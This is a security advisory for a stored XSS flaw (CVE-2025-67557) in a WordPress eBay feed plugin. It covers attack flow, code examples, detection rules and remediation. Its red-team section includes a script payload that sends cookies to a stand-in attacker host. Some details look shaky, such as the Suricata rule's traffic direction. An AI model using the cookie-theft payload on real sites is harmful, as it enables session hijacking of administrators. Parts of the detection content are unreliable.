CVE-2025-67557

Executive Summary

CVE-2025-67557 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP eBay Product Feeds plugin for WordPress, developed by Rhys Wynne. The vulnerability affects versions from n/a through 3.4.9. An authenticated attacker with contributor-level privileges or higher can inject malicious JavaScript into the plugin’s input fields, which is then stored and executed in the browsers of other users (including administrators) when they view the affected pages. This can lead to session hijacking, credential theft, or defacement. The vulnerability is currently unpatched, and no public exploit code is available.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is installed on WordPress sites to generate eBay product feeds. The improper neutralization of input occurs in the plugin’s admin-facing pages, allowing stored XSS payloads to persist.

CVSS Breakdown & Threat Level

• CVSS Score: 5.9 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level)
• User Interaction: Required (victim must visit the page)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. The vulnerability requires authentication and user interaction, but stored XSS can lead to significant compromise if an administrator views the injected content.

Deep Dive & Mechanics

The vulnerability lies in the ebay-feeds-for-wordpress plugin, specifically in how it handles user-supplied input for feed configuration fields (e.g., feed names, descriptions, or custom parameters). The plugin fails to sanitize or escape this input before storing it in the WordPress database and later rendering it in the admin dashboard.

Attack Flow:

1. An attacker with contributor-level access logs into the WordPress admin.
2. The attacker navigates to the WP eBay Product Feeds settings page.
3. The attacker injects a malicious JavaScript payload into a text field (e.g., feed name).
4. The plugin stores the payload in the wp_options or custom post meta table.
5. When an administrator or other user views the feed list or settings page, the payload executes in their browser.
6. The attacker can then steal cookies, perform actions on behalf of the admin, or redirect users.

Root Cause: The plugin uses echo or _e() functions without proper escaping (e.g., esc_html() or wp_kses()), allowing raw HTML/JavaScript to be rendered.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is shown below. A patched version would use proper escaping.

Vulnerable Code (example from plugin):

// Vulnerable: no escaping
echo '<input type="text" name="feed_name" value="' . $feed_name . '" />';

Patched Code (hypothetical):

// Patched: escape output
echo '<input type="text" name="feed_name" value="' . esc_attr($feed_name) . '" />';

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• WordPress instance with WP eBay Product Feeds <= 3.4.9 installed.
• Contributor-level account credentials.

Steps:

1. Log in as a contributor.
2. Navigate to WP Admin > eBay Feeds > Add New Feed.
3. In the "Feed Name" field, enter the following payload:

   <script>alert('XSS')</script>
   

4. Save the feed.
5. As an administrator, navigate to WP Admin > eBay Feeds to trigger the XSS.

Advanced Payload (session hijacking):

<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual characters in feed configuration fields (e.g., <script>, onerror=, javascript:).
• Use Web Application Firewall (WAF) rules to block common XSS patterns in POST requests to /wp-admin/admin-ajax.php or plugin-specific endpoints.

Hardening:

• Disable the plugin until a patch is released.
• Restrict contributor-level access to only trusted users.
• Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• File System: Look for modified plugin files in /wp-content/plugins/ebay-feeds-for-wordpress/ containing suspicious JavaScript.
• Database: Check wp_options table for entries with option_name like ebay_feeds_* containing HTML/JavaScript.
• Logs: Web server logs showing POST requests to /wp-admin/admin-ajax.php with action=ebay_feeds_save and payloads containing <script> tags.
• Network: Outbound connections to attacker-controlled domains from the WordPress admin dashboard.

Detection Engineering

YARA Rule

rule CVE_2025_67557_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WP eBay Product Feeds plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-67557"
    strings:
        $xss1 = "<script" ascii nocase
        $xss2 = "onerror=" ascii nocase
        $xss3 = "javascript:" ascii nocase
        $plugin = "ebay-feeds-for-wordpress" ascii nocase
    condition:
        $plugin and any of ($xss*)
}

Sigma Rule

title: Stored XSS in WP eBay Product Feeds Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via WP eBay Product Feeds plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=ebay_feeds_save'
        cs-uri-query|contains|re: '<script|onerror=|javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in feed descriptions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-67557 Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=ebay_feeds_save"; http_client_body; pcre:"/<script|onerror=|javascript:/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Audit user roles – revoke contributor access for untrusted users.
3. Scan the database for existing XSS payloads using the YARA rule above.

Long-term Fix:

• The vendor (Rhys Wynne) must release a patched version that properly escapes output using esc_html(), esc_attr(), or wp_kses().
• Implement a Web Application Firewall (WAF) with rules to block XSS patterns.

Workaround:

• If the plugin is critical, manually edit the plugin files to add escaping (e.g., wrap all echo statements with esc_html()).

Valters IT
Securing Digital Frontiers